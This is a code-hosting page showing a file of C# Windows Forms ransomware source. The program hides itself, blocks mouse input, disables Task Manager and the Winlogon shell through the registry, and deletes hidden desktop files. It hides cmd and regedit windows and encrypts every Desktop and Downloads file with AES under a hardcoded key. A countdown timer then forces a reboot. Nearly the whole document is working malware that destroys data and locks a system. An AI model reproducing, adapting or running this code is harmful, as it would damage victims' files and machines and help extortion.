-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathransomware.txt
More file actions
374 lines (298 loc) · 13.5 KB
/
ransomware.txt
File metadata and controls
374 lines (298 loc) · 13.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace Rasomware2._0
{
public partial class Ransomware2 : Form
{
//For hide window
private const int SW_HIDE = 0;
private const int SW_SHOW = 5;
[DllImport("User32")]
private static extern int ShowWindow(int hwnd, int nCmdShow);
//for BlockMouse
[DllImport("user32.dll")]
private static extern bool BlockInput(bool block);
public Ransomware2()
{
InitializeComponent();
label2.Text = TimeSpan.FromMinutes(60).ToString(); //set countdowntimer to 60 minutes
}
private void Ransomware2_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true; //anti_kill
}
private void Ransomware2_Load(object sender, EventArgs e)
{
this.Opacity = 0.0;
this.Size = new Size(50, 50); //Invisible
Location = new Point(-100, -100);
FreezeMouse(); //Freeze mouse
//Disable taskmanager
RegistryKey reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
reg.SetValue("DisableTaskMgr", 1, RegistryValueKind.String);
//Remove wallpaper
RegistryKey reg2 = Registry.CurrentUser.CreateSubKey("Control Panel\\Desktop");
reg2.SetValue("Wallpaper", "", RegistryValueKind.String);
//If you shutdown your computer, you cant run winodws well
RegistryKey reg3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
reg3.SetValue("Shell", "empty", RegistryValueKind.String);
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); //define for desktop path
//Delete all hidden files on desktop because we cant encrypt hidden files :-(
string[] filesPaths = Directory.EnumerateFiles(path + @"\").
Where(f => (new FileInfo(f).Attributes & FileAttributes.Hidden) == FileAttributes.Hidden).
ToArray();
foreach (string file2 in filesPaths)
File.Delete(file2);
//Make countdowntimer
var startTime = DateTime.Now;
var timer = new Timer() { Interval = 1000 };
timer.Tick += (obj, args) =>
label2.Text =
(TimeSpan.FromMinutes(60) - (DateTime.Now - startTime))
.ToString("hh\\:mm\\:ss");
timer.Enabled = true;
//Payloads
tmr_hide.Start(); //show window again
tmr_show.Start(); //delete desktop.ini because we cant encrypt desktop.ini files
tmr_if.Start(); //Block cmd, register...
tmr_encrypt.Start(); //Start locking files
tmr_clock.Start(); //If you see on window 00:00:00, system will kill
}
private void tmr_hide_Tick(object sender, EventArgs e)
{
tmr_hide.Stop();
this.Opacity = 100.0;
this.Size = new Size(701, 584);
Location = new Point(500, 500);
Thawouse(); //Anti freeze
}
private void tmr_show_Tick(object sender, EventArgs e)
{
tmr_show.Stop();
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string filepath = (path + @"\desktop.ini");
File.Delete(filepath);
string userRoot = System.Environment.GetEnvironmentVariable("USERPROFILE");
string downloadFolder = Path.Combine(userRoot, "Downloads");
string filedl = (downloadFolder + @"\desktop.ini");
File.Delete(filedl);
}
private void tmr_if_Tick(object sender, EventArgs e)
{
tmr_if.Stop();
int hWnd;
Process[] processRunning = Process.GetProcesses();
foreach (Process pr in processRunning)
{
if (pr.ProcessName == "cmd")
{
hWnd = pr.MainWindowHandle.ToInt32();
ShowWindow(hWnd, SW_HIDE);
}
if (pr.ProcessName == "regedit")
{
hWnd = pr.MainWindowHandle.ToInt32();
ShowWindow(hWnd, SW_HIDE);
}
if (pr.ProcessName == "Processhacker")
{
hWnd = pr.MainWindowHandle.ToInt32();
ShowWindow(hWnd, SW_HIDE);
}
if (pr.ProcessName == "sdclt")
{
hWnd = pr.MainWindowHandle.ToInt32();
ShowWindow(hWnd, SW_HIDE);
}
}
tmr_if.Start();
}
private void tmr_encrypt_Tick(object sender, EventArgs e)
{
tmr_encrypt.Stop();
Start_Encrypt();
}
private void tmr_clock_Tick(object sender, EventArgs e)
{
tmr_clock.Stop();
Process[] _process = null;
_process = Process.GetProcessesByName("Ransomware2.0");
foreach (Process proces in _process)
{
Process.Start("shutdown", "/r /t 0");
proces.Kill();
}
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
if (codebox.Text == "") //If you dont write
{
MessageBox.Show("Incorrect key", "WRONG KEY", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else if(codebox.Text == "password123") //If you write correct key
{
MessageBox.Show("The key is correct", "UNLOCKED", MessageBoxButtons.OK, MessageBoxIcon.Information);
//Enable taskmanager
RegistryKey reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
reg.SetValue("DisableTaskMgr", "", RegistryValueKind.String);
//Repair shell
RegistryKey reg3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
reg3.SetValue("Shell", "explorer.exe", RegistryValueKind.String);
OFF_Encrypt(); //decrypt all encrypt files
//kill ransomware
Process[] _process = null;
_process = Process.GetProcessesByName("Rasomware2.0");
foreach (Process proces in _process)
{
proces.Kill();
}
}
else //If you write something for example "bla bla"
{
MessageBox.Show("Incorrect key", "WRONG KEY", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public static void FreezeMouse() //Freeze mouse
{
BlockInput(true);
}
public static void Thawouse() //unfreeze
{
BlockInput(false);
}
private void codebox_TextChanged(object sender, EventArgs e)
{
}
public class CoreEncryption
{
public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] encryptedBytes = null;
// Set your salt here, change it to meet your flavor:
// The salt bytes must be at least 8 bytes.
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
}
public class CoreDecryption
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
// Set your salt here, change it to meet your flavor:
// The salt bytes must be at least 8 bytes.
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class EncryptionFile
{
public void EncryptFile(string file, string password)
{
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
// Hash the password with SHA256
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = CoreEncryption.AES_Encrypt(bytesToBeEncrypted, passwordBytes);
string fileEncrypted = file;
File.WriteAllBytes(fileEncrypted, bytesEncrypted);
}
}
static void Start_Encrypt() //We see start encrypt files on desktop and download folder
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string userRoot = System.Environment.GetEnvironmentVariable("USERPROFILE");
string downloadFolder = Path.Combine(userRoot, "Downloads");
string[] files = Directory.GetFiles(path + @"\", "*", SearchOption.AllDirectories);
string[] files2 = Directory.GetFiles(downloadFolder + @"\", "*", SearchOption.AllDirectories);
EncryptionFile enc = new EncryptionFile();
string password = "password123"; //your password
for (int i = 0; i < files.Length; i++)
{
enc.EncryptFile(files[i], password);
}
for (int i = 0; i < files2.Length; i++)
{
enc.EncryptFile(files2[i], password);
}
}
static void OFF_Encrypt() //time to descrypt
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string userRoot = System.Environment.GetEnvironmentVariable("USERPROFILE");
string downloadFolder = Path.Combine(userRoot, "Downloads");
string[] files = Directory.GetFiles(path + @"\", "*", SearchOption.AllDirectories);
string[] files2 = Directory.GetFiles(downloadFolder + @"\", "*", SearchOption.AllDirectories);
DecryptionFile dec = new DecryptionFile();
string password = "password123";
for (int i = 0; i < files.Length; i++)
{
dec.DecryptFile(files[i], password);
}
for (int i = 0; i < files2.Length; i++)
{
dec.DecryptFile(files2[i], password);
}
}
public class DecryptionFile
{
public void DecryptFile(string fileEncrypted, string password)
{
byte[] bytesToBeDecrypted = File.ReadAllBytes(fileEncrypted);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesDecrypted = CoreDecryption.AES_Decrypt(bytesToBeDecrypted, passwordBytes);
string file = fileEncrypted;
File.WriteAllBytes(file, bytesDecrypted);
}
}
}
}